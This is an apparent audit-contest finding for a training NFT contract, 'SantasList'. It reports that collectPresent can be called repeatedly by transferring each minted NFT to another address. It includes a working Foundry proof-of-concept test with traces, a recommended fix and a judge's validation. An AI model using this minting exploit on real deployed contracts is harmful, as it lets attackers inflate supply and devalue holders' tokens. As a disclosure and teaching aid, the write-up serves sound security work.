Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Verified winners can mint as many presents as they want.

Summary

Verified winners can mint as many presents as they want.

Vulnerability Details

Santalist.collectPresent prevents users from collecting NFTs more than once by checking if they already possess an NFT. This NFTs can be transferred to another EOA and the user will keep minting more.

Impact

This increases the total supply of the NFTs and make it non-valuable.

Test:

function testHackCollectPresent() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.NICE);
santasList.checkTwice(user, SantasList.Status.NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
address user2 = makeAddr("user2");
vm.startPrank(user);
for (uint256 i = 0; i < 5; i++) {
santasList.collectPresent();
santasList.transferFrom(user, user2, i);
}
assertEq(santasList.balanceOf(user2), 5);
vm.stopPrank();
}

Traces:

[274512] SantasListTest::testHackCollectPresent()
├─ [0] VM::startPrank(santa: [0x70C9C64bFC5eD9611F397B04bc9DF67eb30e0FcF])
│ └─ ← ()
├─ [4211] SantasList::checkList(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 0)
│ ├─ emit CheckedOnce(person: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], status: 0)
│ └─ ← ()
├─ [4519] SantasList::checkTwice(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 0)
│ ├─ emit CheckedTwice(person: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], status: 0)
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [283] SantasList::CHRISTMAS_2023_BLOCK_TIME() [staticcall]
│ └─ ← 1703480381 [1.703e9]
├─ [0] VM::warp(1703480382 [1.703e9])
│ └─ ← ()
├─ [0] VM::addr(23868421370328131711506074113045611601786642648093516849953535378706721142721 [2.386e76]) [staticcall]
│ └─ ← user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802]
├─ [0] VM::label(user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802], "user2")
│ └─ ← ()
├─ [0] VM::startPrank(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ └─ ← ()
├─ [70250] SantasList::collectPresent()
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], tokenId: 0)
│ └─ ← ()
├─ [22727] SantasList::transferFrom(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802], 0)
│ ├─ emit Transfer(from: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], to: user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802], tokenId: 0)
│ └─ ← ()
..........
├─ [46350] SantasList::collectPresent()
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], tokenId: 4)
│ └─ ← ()
├─ [5207] SantasList::transferFrom(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802], 4)
│ ├─ emit Transfer(from: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], to: user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802], tokenId: 4)
│ └─ ← ()
├─ [678] SantasList::balanceOf(user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802]) [staticcall]
│ └─ ← 5
├─ [0] VM::stopPrank()
│ └─ ← ()
└─ ← ()

Tools Used

Manual review, Foundry.

Recommended Mitigation

Create a mapping hasCollected(address => bool) to keep track of which users have collected presents.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.